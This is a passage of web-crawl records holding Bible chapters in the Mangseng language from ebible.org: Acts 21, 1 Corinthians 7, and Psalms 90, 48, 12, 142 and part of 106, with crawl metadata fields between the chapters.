lukngen ne Pol mi luxangkedek teren la ga lok, \"Loroonan Kaala i tong i do laradi at na labaane, limixin me Judaia dinaba xoxo i. Dinaba lox i na ro Jerusalem, la dinaba song araba i ri limixin kopmen di me Judaia.\"\n12 * Mt 16:22Maga ronga i na la nema eburu mi lentaba me go maga ngising tinotno ne Pol do ni noxot pas uto Jerusalem. 13 * Gu 20:24Ketla ni ga lok, \"Laai nom nemi mik lox i, ming teng keretnom la mirak lox abulu lorooro rak? Nia a gagas pam kusu dinaba xoxo ia. La nia a gagas bok kusu ti met mo go Jerusalem kusu ti xip aurut laasen at Leeme Silok ne Iesu.\" 14 Ma goxo lox epovo i xusu ti ba gili lodoxoma ren, kuren la maga ke xepe i la maga lok, \"Lavavara at ne Moroa do ni na lox i xuren.\"\n15 Melemu at lentaba levenaleng maga nemen go, maga lok agagas li lempanga atnama la maga vas kaxat uto Jerusalem. 16 Lentaba luvuttadi nunu boro Sisaria bok mo digat pas eburu minema, la diga lok ka nama uto at loogu at lara laradi, laasen teren ne Nason boro Saipras, neni lara atnedi diga lok ka avot lununu saparap Leeme Silok.\nPol Ga Ven Ti Ne Jems\n17 At lovotpot atnama go Jerusalem luvuttadi nunu diga lok momo aleng minama. 18 * Gu 15:2,13; Ga 1:19Ap mo lara laaleng melemu nema mi ne Pol magat pas kusu mana ven ti ne Jems. Nedi axap luvuttadi amgomgo at lotu go Jerusalem diga rupot to ap mo lovotpot buru. 19 * Gu 15:12Pol ga paase momo rinedi la ga tong asu lempanga axap no ne Moroa ga lox i at lekngen kantubu at limixin kopmen di me Judaia.\n20 * Gu 15:1,5Melemu at levelinga at ne Pol, limixin diga emi asu mi ne Moroa. La diga lok ti ne Pol, \"Neton nama. U ven i do, buaang limixin me Judaia di nunu, la nedi dim tebeng lolos Laulis Linga. 21 * Gu 16:3; Ga 2:3La lentaba vetpes di tong i do, nenu mo uk lox ase leme Judaia mo dik lok at laramenemen at limixin kopmen di me Judaia, la u tong i ridi do dina ke xepe Laulis Linga at ne Moses, la nemen nedi guta vit kepe lengkontuxu at laxamdak atdi la nemen diguta mumu asu leveloklok atnedik leme Judaia. 22 Dibaklen i do nenu mo u rupot pam. Ataba lok lavanga salai? 23 Una lok lempanga keretna. Lavanuet luvuttadi mo diga xaape saparap ne Moroa. 24 * Kex 6:1-20; Gu 18:18Una lam ka di la una mu asu mo loklok eburu minedi xusu una dadat at lemeren ne Moroa, la una lok bok luunun ap mo loklok tinedi. Kuren la diba epovo do dina gan kepe lempat kabinim at lempatlak atdi xusu dina lox epovo mo laxakaape atdi saparap ne Moroa. Kerepmo la limixin axap dibaklen i do mo levelinga mumu u xopmen na ruturun. La diba xasep do nenu ung tonga res at Laulis Linga at ne Moses. 25 * Gu 15:29Ketla mara lox aonon pam levelinga ri limixin kopmen di me Judaia no diga nunu. Mo levelinga i tong i ridi do di noxo anan teveluxa no diplavang min ti lempatpoovo moroa, la di noxo anan tavanga mi lada ren, la di noxo anan lempanga mi lavanuet kangkedek no diga xut amer i, la dina ke loklok ting longka tixin.\"\n26 * 1 Ko 9:20Kuren la ne Pol ga lam ka di mo lavanuet luvuttadi la ga emu minedi la ap mo lara laaleng melemu ni ga lox epovo luunun tidi la diga gan kepe levengkabinim at lempatlak atdi. La ni ga beles to xeneng at loogu laplavang la ga vaase axasep lavanisa levenaleng ti laxavaxap ap mo loklok la at ua laaleng diba raba laramtaba atdi.\nLeme Judaia Diga Ranga Alis Ne Pol\n27 * 2 Ti 1:5Levenaleng ap mo loklok ga lok do na xap ta, lentaba leme Judaia boro at lenep Asia diga ven ne Pol to xeneng at loogu laplavang. Diga lox axatu kaxat levendoxoma at limixin axap me go, la diga ranga alis i. 28 * Isi 44:7; Gu 6:13Digap kup keretna, \"Nemi limixin me Israel. Ude nimi la mina lok tooro nama. Anai laradi na it pas tangtagap at lengkot axap la ik lox ase limixin do dina lox abulubun kepe limixin me Judaia la dina ke xepe Laulis Linga atdik la na loogu laplavang. La ananga ira lok ka laradi xopmen me Judaia ukeneng at loogu laplavang la kerepmo i lok puvula na loogu xaala!\" 29 * Gu 20:4; 2 Ti 4:20Diga tong i na mila diga ven ne Tropimas boro Epesas eburu mi ne Pol to xeneng ap mo lemenemen silok, la diga nua i do ne Pol ga lam ka i uto xeneng ap mo loogu laplavang.\n30 Mo lemenemen silok axap ga umsu mi langsangan leedak, la limixin digak sixit eburu, la diga ranga alis ne Pol la diga sat ka i ukamang basinge loogu laplavang. La soso mun diga vipe lumusmaragu ap mo loogu laplavang. 31 Mo limixin diga lok tong i do dina sep ne Pol la soso mun lara laradi ga lox aonon levelinga ri leeme gomgo at limixin esep boro Rom do limixin axap go Jerusalem mo diga lok lekarakat. 32 La soso mun mo leeme gomgo ga lok ka lentaba digak lok mu ren la lentaba limixin esep la diga sixit uto saparap mo limixin. Mo limixin diga ven mo leeme gomgo eburu mi limixin esep, la diga xap ta lesepsep ne Pol.\n33 * Gu 20:23Leeme gomgo ga vas saparap ne Pol, la ga ranga alis i, la ga tong i ri limixin esep do dina xoxo i mi luvaroos sen. La ni ga sue, \"Nege i na laradi, la lavanga salai mo ni i lox i?\"\n34 Lentaba xeneng atdi mo limixin diga tong lara levelinga vetpes. La lentaba diga tong leta lepelinga vetpes bok. Langsangan lekarakat silok ga vot, la mo leeme gomgo goxo lox empana i do naklen ka lavasuun at na leedak. Kuren la ni ga tong i ri limixin teren kusu dina lam ka ne Pol uto at loogu matmatkun atdi. 35 Diga emu min uto at laata at loogu, la limixin esep diga xip ka i mila limixin diga musak aleng. 36 * Lu 23:18; Gu 22:22Diga mumu asu i la digap kup keretna, \"Sev amer i!\"\nPol Ga Vaase\n37 Mo limixin esep diga lok do na lok ka ne Pol uto at loogu matmatkun la ni ga vaase ri leeme gomgo mi lavapaase Grik, \"I epovo bok do ana tong tevelinga ru?\"\nMo leeme gomgo ga rakdu la ga sue i, 38 * Gu 5:36-37\"Kereva. Nenu xopmen mo laradi boro Isip? At lentaba levenaleng ga xap pam, neni ga lok kaxat leesep eburu mi lagavaman la gam gomgo rinedi lavanuet larabin sangsangaun kobot (4000) limixin esep uto at lamatbin.\"\n39 Pol ga lok keretna, \"Nenia lara at limixin me Judaia, boro at lemenemen Tasas at lenep Silisia. Nenia me go ap mo lemenemen doxodok. A sing u do i epovo ana vaase ri limixin.\"\n40 Leeme gomgo ga siam do ni na vaase. Kuren la ne Pol ga xatu kaxat to at laata ap mo loogu la ga sep makmak di. Diga lok pilo, la ne Pol ga vaase ridi mi lavapaase Ibru.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/ACT21.htm","date":"2022-05-22T15:14:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662545548.56\/warc\/CC-MAIN-20220522125835-20220522155835-00339.warc.gz","language":"mmx","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 1.000008225440979}","num_words":1518,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7\nLevesusue Mumu Loklox Epot\n1 A vara i do ana vorang levempapaase miga malagan i ria. Lara avot mumu leepot. I lox avukat do lubungnaa dina nemen gamasa la nemen dita epot. 2 Ketla mumu mene loklok kakapmek maxamang at lixitkis epot mo i umsu. Kuren la i lox avukat do lavatlok dina epot ka tavakin getgesara ridi, la lavakin dina epot ka tavatlok getgesara bok tidi. 3 I epovo do latlok na lox asoorun axap lugugu ren ngan latlok epot, la latkin na lox asoorun axap lugugu ren ngan latkin epot. La nedu xa duna lox epovo lavakpakes atnedu xeneng at loklok at leepot. 4 Latkin epot noxo lok ngan lara loklok tatao xusuk ti labantuxu ren, ketla latlok teren bok na lok tatao i. La kerepmo bok latlok epot kusuk noxo lok ngan lara loklok tatao ri labantuxu ren, ketla latkin bok teren na lok tatao i. 5 Nemen duna emorong mi lubantuxu atnedu, ketla do duna epaase mumu i, la dola dura siam teren, i lox avukat do duna ke be mo loklok at tentaba tevenaleng ti lok levesingising atnedu saparap ne Moroa. Ketla melemu at nai duna nemen eburu manga. Mo do duna lox i na, Satan noxo lox epovo i xusu na lok li du at loklok tong pen. A tong i na rinimi mila nemi xopmen mina nemen lolos at loklok at leepot.\n6 Na a vaase i na rinimi xopmen do nemi axap mina mu asu i la mina epot, ketla a vaase i na, i ngan lisisiam tarak tinimi. 7 * Mt 19:12I lox avukat do nemi axap minak lok naa kerekngan ia. Moroa ga lox ia xusu a epovo anak lok naa i ngan laramtaba ren tia. Ketla lentaba vetpes kopmen na epovo rik lok naa la ne Moroa im taba di mi leventamtaba vetpes.\n8 Tinemi lavatlok mi nemen naa, la tinemi lavakin lavatlok atnimi diga met pam, a vara i do ana vaase rinimi xeretna. I lox avukat do minak lok naa kerekngan ia. 9 * 1 Ti 5:14Ketla do mixo epovo xusu mina lok tatao avukat luruptuvuk atnimi, la levendoxoma atnimi move i ngaongao mumu loklok at leepot, i lox avukat mene do mina epot. I lox avukat do mina epot mila i lok kapmek do nom lavavara atnimi na lok nimi la levendoxoma atnimi na xalibi amisik ti mo loklok.\n10 * Mt 5:32; 19:9Lara lavanga bok, kopmen atarak ketla at Leeme Silok. Tinemi limixin epot a ruuna lara lavapaase lolos tinimi xeretna, latkin epot noxo soxope latlok teren. 11 Mo do neni na lox i xuren, neni nak lok naa la nemen bok ba na epot, kopla neni namlong mu latlok teren. La kerepmo bok latlok kopmen noxo ba korop leepot mi latkin teren.\n12 La tinemi limixin axap, a tong i do na levelinga ana vaase i, kopmen at Leeme Silok ketla atarak mun. Mo do latlok i lok kaka lununu maxat keneng at ne Karisito, ketla latkin teren kopmen na nunu at ne Karisito, la mo latkin i momo do nedu nak lok buru xeneng at leepot atdu, latlok kopmen noxo soxope i. 13 La mo do latkin i lok kaka lununu maxat keneng at ne Karisito, la latlok teren kopmen na nunu at ne Karisito, la mo latlok i momo do nedu dunak lok eburu xeneng at leepot atdu, latkin noxo soxope i. 14 Mila latlok kopmen na nunu, neni i lok ngan laradi dadat at ne Moroa mila neni i epot at latkin i nunu at ne Karisito. La latkin kopmen na nunu, neni i lok ngan latkin i nemen dadat at lemeren ne Moroa mila neni i epot at latlok i nunu at ne Karisito. La kerepmo laxamdak mi laxaalik kakalik atdu dixo lok ngan levempanga bilinga. Ketla di dadat at lemeren ne Moroa.\n15 * Ro 14:19Ketla do tara atdu xopmen na nunu at ne Karisito la i vara i do na soxope mo lara i nunu at ne Karisito, i lox avukat mene do mina ke xepe i na mu asu lodoxoma ren. La i lox avukat do lara i nunu, latlok kopla latkin, na siam do mo latlok kopla latkin na on basinge i. Moroa ga soxolik ka dik limixin nunu at ne Karisito kusu ata nemen at lumulum. 16 * 1 Pi 3:1La nemi lavakin nunu, mina ke xepe di do dina on basinge nimi, mila kopmen minaklen i do i epovo mina lok tooro di kusu dina ven kisip ne Karisito. La nemi bok lavatlok nunu, mina ke xepe di do dina on basinge nimi mila kopmen minaklen i do i epovo mina lok tooro di xusu dina ven kisip ne Iesu. La kerepmo i epovo do nedi dina ba korop leepot.\nMina Nemen Kerekngan Ne Moroa I Vara I\n17 * 1 Ko 7:20,24Ketla nemi getgesara mina nemen at lixitkis migak lok teren ap mo laaleng ne Moroa ga ro xaka nimi. Mo lixitkis atnimi i ngan laramtaba Leeme Silok gara raba vam nemi min. Anai lavapaase a lox ase limixin min at laraogu lotu at lengkot axap. 18 I ngan ta do tara, digara vit kepe vam loxontuxu ren, la gara siam ka vam lorotoro at ne Moroa rin, nemen ni ta lok tong pen bok ba i do neni na lok pes nom liinin pirivit. Mo do tara di goxo vit kepe loxontuxu ren, la ni ga siam kaka lorotoro at ne Moroa rin, nemen bok ba i guta vit kepe loxontuxu ren. 19 * Ro 2:25; Ga 5:6; 6:15La kerepmo loklok ti rivit kepe loxontuxu kopla loklok ti ke xepe i, ni lavanga gamasa mun. Lavanga mun i mumuat ni laradi ing tonga res at levelinga at ne Moroa. 20 Nemi getgesara mina nemen lolos ap mo lixitkis migak lok teren ap mo laaleng miga siam ka lorotoro at ne Moroa rinimi. 21 Kereva, uga nemen ngan lasaxaruki se ne Moroa ga ro kaka u? Nemen gat uta bulu mu i, ketla mo do taaleng na vot tu xusu una nemen ngan laradi sepmus, una momo min. 22 * Pm 1:16; Ep 6:6; 1 Pi 2:16Lasaxaruki, Leeme Silok gara ro xaka vam i, neni i lok ngan laradi sepmus at Leeme Silok. La kerepmo bok laradi sepmus, ne Karisito gara ro xaka vam i, neni i lok ngan lasaxaruki at ne Karisito. 23 Moroa gara xuruse ka vam nimi mi luunun. Kuren la nemen mita mumu asu levelinga at tara vetpes. 24 Luvutnetak mi luvurinuk. Nemi getgesara minat kis esogo nunuan mi ne Moroa at nom lixitkis nemi migak lok teren ap mo laaleng ne Moroa ga ro xaka nimi.\n25 * 1 Ti 1:12-13Monga a vara i do ana paase rinimi mumu lususue miga sue ia min mumu nedi dik lok naa. Agoxo lok ka lavapaase mumuat boro at Leeme Silok mumu na lavanga, ketla ana vaase nimi mi lodoxoma axa rak. Nia a epovo do ana tong i na rinimi mila Leeme Silok ga lox asuusu vam lebelen tuntun teren tia la iklen i do nenia laradi ruturun tin. 26 Levenmumuat naba vot saparap limixin di nunu. Kuren la a doxoma i do i lox avukat do taradi na nemen ngan ta i mo neni ik lok kuren. 27 Dola tara i epot pam, nemen ni guta ba korop leepot teren. Dola tara ik lok naa, nemen ni guta epot bok ba. 28 * Lu 21:33Mo do taradi i epot, kopla latkin maxat i epot, kopmen taxakapmek teren. Ketla mo do tara i epot, i epovo do buaang laxanmumuat naba vot parav i. A xopara i do mina solok laxanmumuat solo at na lorooro.\n29 * Ro 13:11Luvutnetak mi luvurinuk. Lavasuun at na levelinga rak i lok keretna. Ixo lox abao bok ba levenaleng mo i nemen ti lomlong at ne Karisito. La i ruka i mo ningina, lavatlok epot dina nemen ngan ta luvuttadi at ne Moroa. 30 La nedi dik bulu at levenmumuat atdi, dina xasep do nom lainbulu naba xap. La nedi dik lok momo, dina xasep do nom lomomo noxo nemen amisik. La nedi di unun panga, dina xasep do nom lempanga noxo nemen abao. 31 * 1 Jo 2:17La nedi dik lox arangtang mi lempanga at na lorooro, dina xasep do nom loklok kopmen lavanga i silok aleng. Lavasuun at na levelinga rak keretna. Leveloklok at na lavatbung menemen ik lok ningina naba xap asonao.\n32 A vara i do mi noxo ekip tangarang mi levenmumuat at na lorooro. Latlok naa ik lox angtang amisik mi leven gugu at Leeme Silok, mila neni ik lok tong i do ni nak lox amomo Leeme Silok. 33 Ketla latlok epot ik lox angtang amisik mi lempanga at na lorooro, mila neni i vavara i do nak lox amomo amisik latkin teren. 34 Kuren la lodoxoma ren i ekakan. La latkin naa bok mi latkin maxat duk lox angtang amisik mi leven gugu at Leeme Silok, mila du vara i do nedu duna nemen dadat at lorooro atdu la loroonan bok atdu. Ketla latkin epot ik lox angtang amisik mi lempanga at na lorooro mila i vavara i do ni nak lox amomo mun latlok teren.\n35 A paase i na mila a vara rino i do ana lok tooro nemi. Axo lok do ana lok li teventaangas mumuat kusu miba mu asu i. Ketla kusuk mun, a vara i xusu mina lok lempanga salai ik mokso la i lox avukat. La mina raba lorooro axap atnimi ri lugugu at Leeme Silok la nemen mita ranga alis toxot teren.\nI Lox Avukat Do Laradi Na Nemen Naa Kusu Naba Lok Lugugu At Ne Moroa\n36 Mo do tara i doxoma i do neni kopmen nap tuvuk avukat mun ti latkin diga ora i do tin, la i vara na epot kaka i, i lox avukat duna epot. Kopmen na lok kapmek. 37 Ketla do mo laradi no di goxo pu soso i xusu na epot ap mo latkin diga ora i do tin, la neni i lok lodoxoma ren do neni noxo epot ap mo latkin. La do, mo lodoxoma ren i lox i mi lorooro axap teren, la lodoxoma ren ira doma vam lavanga salai neni naba lox i, i lox avukat mene do neni noxo epot ap mo latkin. 38 Kuren la laradi i epot at latkin diga ora i do tin, neni i lok loklok i nunuan. Ketla, mo laradi kopmen na epot at latkin, diga ora ka i do tin, neni i lok loklok i nunuan aleng.\n39 * Ro 7:2-3Ixo epovo dola latkin epot na soxope latlok teren, ketla do latlok teren na met, i epovo do neni na epot kaka tatlok petpes do neni i vara rin. Ketla nemen gat ni na epot at laradi xopmen na nunu at Leeme Silok. 40 Kuren la mo latkin naba momo aleng, do neni na nemen ngan lanaa. Anai lodoxoma rak la aklen i do Loroonan Kaala at ne Moroa ik lok tarak. Kuren la ara tong i na levendoxoma rak tinimi.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/1CO07.htm","date":"2022-05-25T19:22:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662593428.63\/warc\/CC-MAIN-20220525182604-20220525212604-00038.warc.gz","language":"mmx","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"mmx_Latn_score\": 1.0000098943710327}","num_words":1763,"character_repetition_ratio":0.065,"word_repetition_ratio":0.021,"special_characters_ratio":0.239,"stopwords_ratio":0.336,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"90\nLevelinga Mumu\nNe Moroa La Limixin\nNe Moroa La Limixin\n1 O Leeme Silok, nenu ugak lok ngan amisik loogu aulis atnema lavaola axap. 2 Avot ti laaleng uga rudum li levengkaana la lempanga di rooro xeneng at lavatbung menemen, nenu ugak lox axa ngan ne Moroa i rooro lexen, la unabat kis Moroa amisik la kopmen tekavaxap taram.\n3 U tong i ri luvuttadi axap kusu dinaba vee kangka ngan diga ravasu ren. U baba gili amlong di xusu dina repukus ti laxakup. 4 Nenu u ven legesa abin sangaun kobot maares di lok ngan mun legesa aleng. Di lok ngan mun laaleng itinongo, ira onon pam, i lok ngan mun legesa xonatat aleng at laxanimin. 5 Up kip pes kaka nema ngan ladanut. Maxo rooro abao bok, ma ngan lapnobo i sonao. Ma lok ngan levenang i suu valas maxantamak suubu, 6 di suu la di repalas asu lamaraanu, la melemu dira molos la dira met manga ukantinao.\n7 U sesele utut nema mi mo lebelemamao ram. Ma emilik sak mumu lebelemamao ram. 8 U saali leveloklok kakapmek atnema ro melamgo ram, mo leveloklox alipe atnema ik lok go ap mo loxot nenu u epovo ri reven kaka di.\n9 La lorooro atnema, nenu u tara korop atmur i mi mo lebelemamao ram. La i sonao ngan lavapaase siksikma. 10 Lorooro atnema it pot mun at lavanuti sangaun maares la do ma lolos, maba se ka lavanuan sangaun maares. Ketla ana levenmaares move im taba nema mi leven ekarakat la lainbulu. La soso mun lorooro atnema i vaxap kot, la mara onon tino nga.\n11 Kopmen tara go gata suma vam lolos silok at lebelemamao ram. Kopmen bok teta iklen ka ba lanmarat silok, mo lebelemamao silok taram i epovo ri lox asuusu i xeneng atnema. 12 Una anasa nema do lorooro atnema it mut mun kusu manaba ruuna ka lodoxoma avukat.\n13 O Leeme Silok, lebelemamao ram naba xap ba lingisa? Una belen tuntun mu nema, limixin me Israel, atla nema limixin tinotno ram! 14 Una suxa amisik nema at leven maxantamak mi labalamu lexen taram, kusu manabak pixan la mana sosoro keneng at lorooro axap atnema at na lavatbung menemen. 15 Una raba nema mi lomomo silok ngan bok pam mo lanbulu silok uga raba nema min ap mo levenmaares magak lok keneng at laxanmumuat solo. 16 Una lox avolo nema lavasaxaruki ram kusu mana ven leven gugu lolos taram. Una lok bok livipisik li atnema xusu dina ven mo lolos silok taram.\n17 Leeme Silok ne Moroa atnema, una ke mo loklox anarong taram nak lok keneng atnema. Una lox epovo levendoxoma atnema keneng at leven gugu axap nema ma lox i!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA090.htm","date":"2022-05-16T04:50:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00653.warc.gz","language":"mmx","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000003695487976}","num_words":430,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"48\nSaion Lemenemen Silok At Ne Moroa\n1 Leeme Silok i silok aleng. Ni ne Moroa atdik la i lox avukat aleng do ata emi asu amisik min to xeneng at lemenemen silok la at loxongkaana kaala ren. 2 Saion neni mo lakaana at ne Moroa, no xa it kis kasep pana la i maraanu aleng. Ni lemenemen silok at Loorong Silok, ik lox amomo limixin axap at na lavatbung menemen. 3 Moroa gara lox ase limixin do dinaba nemen avukat mene ro xeneng at laraogu matmatkun at na lemenemen silok.\n4 Lavaorong silok eburu mi limixin esep atdi diga vot buru la diga lok do dina esep polo limixin boro at lakaana Saion. 5 Ketla diga ven mo lakaana la diga sangu aleng, diga marat la diga sixiro. 6 Diga dede xapmek tino mi lanmarat, la diga lingun, ngan ta latkin i gagas kusu na visik. 7 Lodoxoma atdi gak sixit saasaa ngan lempatmon dik sixit ekarakat to at laras keneng at langsangan lamanman.\n8 Nema magara ronga vam levelinga at levempanga sangsangu ne Moroa gak lox i, la mara ven pam i ro at lemenemen silok at ne Moroa atnema. Ni Leeme Silok la Lanaraavuk, naba lok tatao amisik mo lemenemen silok at levenaleng axap i tu melamgo.\n9 O Moroa, to xeneng at loogu laplavang taram ma doma asu at langsangan labalamu lexen taram. 10 Limixin at levengkot axap di emi asu aleng minu, la limixin at levengkot axap at na lavatbung menemen dira ronga levelinga mumu u. Nenu um gomgonga limixin mi levelinga manmanton. 11 Kuren la limixin axap di nemen to at lakaana Saion dina momo! Nu ung tonga linga mi lodoxoma mokmokso. Kuren la limixin axap boro at levengkot silok Juda dina momo.\n12 Nemi limixin at ne Moroa, mina vas kangkan lemenemen Saion, la mina exes laraogu likling i baalom upana. 13 Mina ven katling axap larangas uat la mina reven anga bok laraogu matmatkun, kusu minaba tong avolo i rinedi lavaola melemu. 14 Mina tong i ridi do na ne Moroa, neni ne Moroa atnedik at levenaleng axap i tu melamgo. Ni nabam gomgonga dik at levenaleng axap naba vot melemu.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA048.htm","date":"2022-05-16T06:13:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00666.warc.gz","language":"mmx","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 1.0000100135803223}","num_words":344,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12\nLisingising Ti Loklok Tooro\n1 O Leeme Silok. Lok tooro nema. Kopmen bok ba taradi avukat go i nemen. U noxo ven kaka bok ba taradi ruturun go ik lok kantubu at limixin axap. 2 Nedi axap di vekarang taba, la di velox atdan ka la kerepmo dira xaxarang arup bok di.\n3 O Leeme Silok. Una vamngus nedi limixin di velox atdan ka, la una vamngus bok nedi limixin dim simi aurut di la dik lok keretna, 4 \"Mi levelinga atdik dik ta lok kaka levempanga dik ta vara rin. La dik ta tong levempanga nedik ta vara i do ata tong i, la ixo epovo tara na sep pepe dik.\"\n5 Ketla Leeme Silok i vaase xeretna, \"Na nia anaba vot, atla di lox abaava limixin dik pakes. La nedi di sev asongot labantuxu atdi mo dit mes silok mi losongsongot. Anaba raba nedi limixin baava mi nom lixitkis avukat ding kongkat tin.\"\n6 I epovo rinotno do ata nunu at leveng kakaape at Leeme Silok atla leveng kakaape ren i lok ngan loxon siliva uat gamgames din tin i at laxao bokbolot ise at lavanuti rintin axap la i nunuan axap.\n7-8 Limixin kakapmek di umsu at lengkot axap la nedi axap di emi asu mi laxakapmek. O Leeme Silok. Una lok tatao avukat nema basinge di. La una lok tooro nema xusu limixin kerepmo di noxo lok kapmek nema.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA012.htm","date":"2022-05-16T06:28:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00087.warc.gz","language":"mmx","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000009536743164}","num_words":226,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"142\nLisingising Ti Loklok Tooro\n1 Nenia a ro ke at Leeme Silok ti loklok tooro ren, la a sing lolos tinotno i. 2 A tong taba i mi levenmumuat tarak. La a tong axasep axav i mi lempanga lolos keneng at lorooro rak. 3 At loxonaleng a lok do ana doma abulubun, neni iraklen pam lodomdoma salai ana mumu asu i, kusu ana sepsu basinge mo lara pelixo, limixin munepen minia dira li pe vam ia min ap mo langas nia at pas teren. 4 Amo do a reven tangtagap kangkan ia, axo ven tara go xusu naba lok tooro ia. Kopmen teta go nak lok see rak.\n5 Leeme Silok, a reng taba u xusu una lok tooro ia. Leeme Silok, nenu Lurutu See Pe rak, la a vavara xusuk mun u keneng at na lorooro. 6 Una ronga ia, ang teng ti loklok tooro ram atla lodoxoma abulubun i suxuna axav ia. Una lox asepsu ia basinge limixin munepen minia atla di lolos aleng polo lolos tarak. 7 Una lox asepmus ia basinge levenmumuat tarak, kusu anaba emi asu minu ro at lovotpot buru at limixin taram, atla uga lok luvukat tia.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/mmx\/PSA142.htm","date":"2022-05-16T04:22:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662509990.19\/warc\/CC-MAIN-20220516041337-20220516071337-00021.warc.gz","language":"mmx","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000008463859558}","num_words":187,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"106\nLeveloklok Anarong At Leeme Silok Ti Limixin Teren\n1 Leemi asu ri Leeme Silok.\nAta tong avukat ti Leeme Silok, mila neni mun i lox avukat, la labalamu ren naba nemen amisik. 2 Kopmen tara i epovo na tong axap leven angsangan lempanga silok neni gara lok pam i. Kopmen tara i epovo xusu naba lox epovo lodoxoma ren mi leemi asu rin. 3 Nedi dinang tonga res at levempapaase ali at ne Moroa la dinak lox amisik lempanga ik mokso, Moroa naba lox anarong di.\n4 O Leeme Silok. Uguta domampe ia, mo do una lok tooro limixin taram. Una us abeles box ia ukeneng at limixin taram, mo do una lox asepsu di. 5 Una ke ia aba ven limixin taram dinaba ngasang kobot, la ana ruuna bok tomomo eburu minedi la anak lok eburu bok midi xusu ti emi asu minu.\n6 Nema marak lok pam laxakapmek kerekngan lavalabat atnama diga lox i. Mara soogong pam la mara bixurun. 7 Lavalabat atnama di goxo xasep nunuan at lempanga sangsangu neni ga lox i ro Isip. Diga domampe mo levenaleng buaang neni ga lox asuusu labalamu ren tidi. La digang tonga viribang tin, Lanaraavuk to at Loxontas Memele. 8 Ketla Leeme Silok ga lox asepsu di go kusu ti lox asilok laasen teren, la ni ga lox asuusu mo langsangan lolos teren. 9 Neni ga tong mun i ri Loxontas Memele, la laras gara mes ta, la neni ga lam avolo limixin teren at laxangka mesemes. 10 Neni ga lok tooro di basinge limixin munepen midi, la ga lox asepsu di basinge limixin esep boro Isip. 11 Laras ga vula pe axap di, la kopmen tinotno tara ga roo su basinge laniu. 12 Kuren la limixin teren diga nunu at leveng kakaape ren, la digak pixan emi asu min.\n13 Ketla diga domampe soso mun lempanga silok ne Moroa ga lox i, la di goxo ngangais ba ri tevelinga axasep teren. 14 To at lamatbin diga umsu aleng mi langaongao anan, la diga lok tong pen ne Moroa. 15 Kuren la neni ga raba nedi mi levempanga nedi diga sing tin, ketla neni ga sep bok nedi mi lanmeres kapmek.\n16 La to bok at lamatbin diga tere mumu aleng ne Moses, la ne Aron, ni lamaasa kaala at Leeme Silok. 17 Melemu lavatkangka ga rem suang la ga xonom ne Datan, la garak mit bok ne Abiram midi loxoetemen. 18 La laxao ga si boro vana la ukopok tinedi diga mumu asu du, la ga rin asonao axap mo luvuttadi.\n19 Melemu leme Israel diga lok lovovo at lubulumaxao maxat to Sinai, la digara lotu parav i ngan mo lomoroa xaxarang. 20 Diga sok sisixe ne Moroa mo i silok aleng la diga xap ti lotu saparav i, la diga lotu parap mo lovovo at lubulumaxao, mo i anan pivilis. 21 Diga domampe rinotno ne Moroa mo ga lox asu di, mi levempanga silok teren to Isip. 22 Diga domampe mo lempanga nunuan, neni ga lox i go, la lempanga sangsangu neni ga lox i ro at Loxontas Memele. 23 Melemu ne Moroa ga lok do naba sele utut kepe limixin teren. Ketla laradi gugu ren ne Moses, mo ni ga soxolik ka i, ga vaase pe ne Moroa xusu noxo lox asuusu lebelemamao ren tidi.\n24 Melemu diga sok tixirixes kepe mo lenep kangka avukat, mila di goxo nunu at laxakaape at ne Moroa. 25 Digak lok to xeneng at laraogu kadis atdi la digara gagalinga amisik la di goxo ronga ba levelinga at Leeme 